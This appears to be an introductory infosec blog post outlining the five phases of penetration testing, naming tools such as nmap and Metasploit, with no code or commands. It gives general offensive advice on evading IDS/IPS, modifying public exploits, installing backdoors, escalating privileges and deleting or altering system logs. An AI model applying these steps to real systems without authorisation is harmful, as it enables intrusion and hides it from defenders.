Reconnaissance
So first is the Reconnaissance. Reconnaissance is the phase where we gather available information of the target with the use of search engines and/or social media sites. There are two types of reconnaissance, the passive reconnaissance, and active reconnaissance.
Passive reconnaissance is the gathering of information on Google, company profile, social media, name servers, etc.
Active reconnaissance is the gathering of information through scanning the target system with the use of tools that are available and can be downloaded online.
Beware of the IDS/IPS and Firewall when scanning because we are most likely will fail if the target system blocked our access.
Tools for active reconnaissance
nmap
maltego
etc.
The goal of this phase is to gather the initial information of the target.
Scanning
After we gather the available information of the target, we will scan the target system to discover vulnerabilities that are present for us to exploit.
Tools for scanning
nmap
auxiliary modules in metasploit
etc.
Again, beware of the IDS/IPS and Firewall when scanning.
The goal of this phase is to have an idea on how we can exploit the vulnerabilities that are present on the target system. For example, if the target system is vulnerable to a certain exploit that is available in public, we can add this to our options in exploiting the target system.
Gaining Access
After enumerating our target, we will now move on to the fun part in hacking; the exploitation phase.
Proper enumeration can lead to more chance of exploitation.
You can use public exploits to attack the vulnerable services that are present on the target’s local machine.
Public exploits may not work out of the box so you need to analyze how the exploit works by tracing the source code of the exploit.
Modify the source code of the exploit if you need to.
In compiling public exploits locally, make sure that it matches the kernel version of the local machine to the target machine.
The goal of this phase is to properly exploit the vulnerabilities of the target and gain low-level or privileged access to the system.
Maintaining Access
When we successfully exploited and got a low privileged access to the system, we need to maintain our access long enough to achieve our goal.
If you have gained access to the system, you may install a backdoor in the case of the user reboots the target machine
Since you only have an initial access to the system (low privileged access), enumerate for the available programs, weak credentials, default passwords, and others that may be used to escalate your privileges.
Check for the versions of the available services that are present on the target’s local machine
You can use automated scripts to automate the enumeration process
Look for the low hanging fruits, for example, there may be a hidden file, weak passwords, default config files and others that will be used to exploit and gain access to the target.
The goal of this phase is to maintain and gain system level access to the system.
Covering Tracks
After we have gained access to the system and we already achieved our goal, we need to delete all the backdoors, exploits, and other files that we used to gain access to the system. We also need to delete or modify the system logs to cover our tracks.
The goal of this phase is self-explanatory.
Conclusion
So there are five phases of penetration testing and these are Reconnaissance, Scanning, Gaining Access, Maintaining Access, and Covering Tracks. There are still a lot of information that wasn’t included here and I hope it gave you an idea and understand the phases and techniques on how the penetration testers attack a system.
If you have any questions or suggestions, feel free to contact me. 🙂
Subscribe for more!
To stay up to date with my latest posts and more InfoSec guides, make sure to subscribe to this blog by entering your email address below.
I promise I won’t be spamming your mailbox. Because no one loves spam. AMIRIGHT?
